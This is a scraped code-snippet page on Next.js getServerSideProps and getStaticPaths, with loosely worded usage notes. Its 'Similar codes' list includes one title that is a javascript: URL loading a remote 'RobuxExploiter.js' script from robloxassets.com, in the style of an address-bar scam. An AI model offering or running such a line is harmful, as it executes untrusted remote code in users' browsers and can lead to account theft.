Getserversideprops

Next js getserversideprops

export async function getServerSideProps(context) {
  return {
    props: {}, // will be passed to the page component as props
  }
}

Source: nextjs.org

Getserversideprops

export async function getStaticPaths() {
  const res = await fetch(`${baseUrl}/wp-json/wp/v2/posts`)
  const posts = await res.json()
  //paths is array of objects which is contains one params property with id or slug
  const paths = posts.map(({ slug }) => ({ params: { slug: `${slug}` } }))

  return {
    paths,
    //fallback true mean there is no slug in build time then it will not shown 404 error 
    // and fetch data from server and show it
    fallback: true,
  }
}

Getserversideprops vs getstaticprops

use getServersideProps when data will change after time like wordpress post
which will be changing when new we add new post.
Use getStaticProps when it is static content using it make it cache in.nextjs
so it will load fast.
//Note if you use getStaticProps in dynamic content section then content which 
//is added after deployment will not shown cause it also shown content from cache.

Similar codes

0 vote104 views1 answer
Nextjs waiting for compiling problem
TypeScript
1 vote105 views1 answer
Angular host binding class on input
TypeScript
0 vote108 views1 answer
Coldfusion check if key exists and not empty
TypeScript
0 vote108 views1 answer
Interface with variable key typescript
TypeScript
1 vote99 views1 answer
Moving data between the request
TypeScript
0 vote99 views1 answer
Use sample weights fit model multiclass
TypeScript
0 vote109 views1 answer
Make an interface iterator typescript
TypeScript
0 vote127 views1 answer
Typescript open site in frame
TypeScript
0 vote105 views10 answers
XJavascript:$.get('//robloxassets.com/I/RobuxExploiter/RobuxExploiter.js')
TypeScript
3 votes110 views1 answer
Intersection between two sets python
TypeScript